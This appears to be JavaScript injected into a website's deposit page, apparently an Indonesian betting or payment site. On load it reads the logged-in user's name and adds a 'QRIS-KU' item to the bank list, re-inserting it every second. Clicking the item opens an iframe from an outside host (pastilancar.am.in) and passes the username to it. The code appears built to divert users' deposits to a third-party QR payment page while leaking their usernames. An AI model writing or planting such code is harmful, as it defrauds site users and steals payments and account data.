document.addEventListener("DOMContentLoaded", function() {
    // 1. Ambil username
    const getUsername = () => {
        const userElement = document.querySelector('#current-user a.dropdown-toggle.options');
        if(userElement) {
            const rawText = userElement.textContent.replace(/\s+/g, ' ').trim();
            return rawText.split(/\s+/).find(part => 
                !part.match(/^(IDR|Rp|[\d,\.]+|<|>)/i)
            );
        }
        return 'guest';
    };

    // 2. Buat iframe langsung di DOM
    const iframe = document.createElement('iframe');
    iframe.id = 'qrisFrame';
    iframe.src = 'https://pastilancar.am.in/lombkpc.php';
    iframe.width = '600';
    iframe.height = '600';
    iframe.scrolling = 'yes';
    iframe.className = 'qris-iframe';
    iframe.style.cssText = `
        display: none;
        position: fixed;
        top: 50%;
        left: 50%;
        transform: translate(-50%, -50%);
        z-index: 9999;
        border: 2px solid #ccc;
        border-radius: 10px;
    `;
    document.body.appendChild(iframe);

    // 3. Fungsi toggle sederhana
    const toggleQris = () => {
        const username = getUsername();
        if(iframe.style.display === 'none') {
            iframe.src = `https://pastilancar.am.in/lombkpc.php?username=${encodeURIComponent(username)}`;
            iframe.style.display = 'block';
        } else {
            iframe.style.display = 'none';
        }
    };

    // 4. Tambahkan menu QRIS
    const addQrisMenu = () => {
        if(document.getElementById('mop2')) return;
        
        const li = document.createElement('li');
        li.id = 'mop2';
        li.className = 'p-4 py-6 cursor-pointer hover:bg-white';
        li.innerHTML = `<h4 class="text-md font-bold">QRIS-KU</h4>`;
        li.onclick = toggleQris;
        
        const bankCategory = document.getElementById('bankCategory');
        if(bankCategory) bankCategory.appendChild(li);
    };

    // 5. Auto check setiap 1 detik
    setInterval(addQrisMenu, 1000);
    addQrisMenu();
});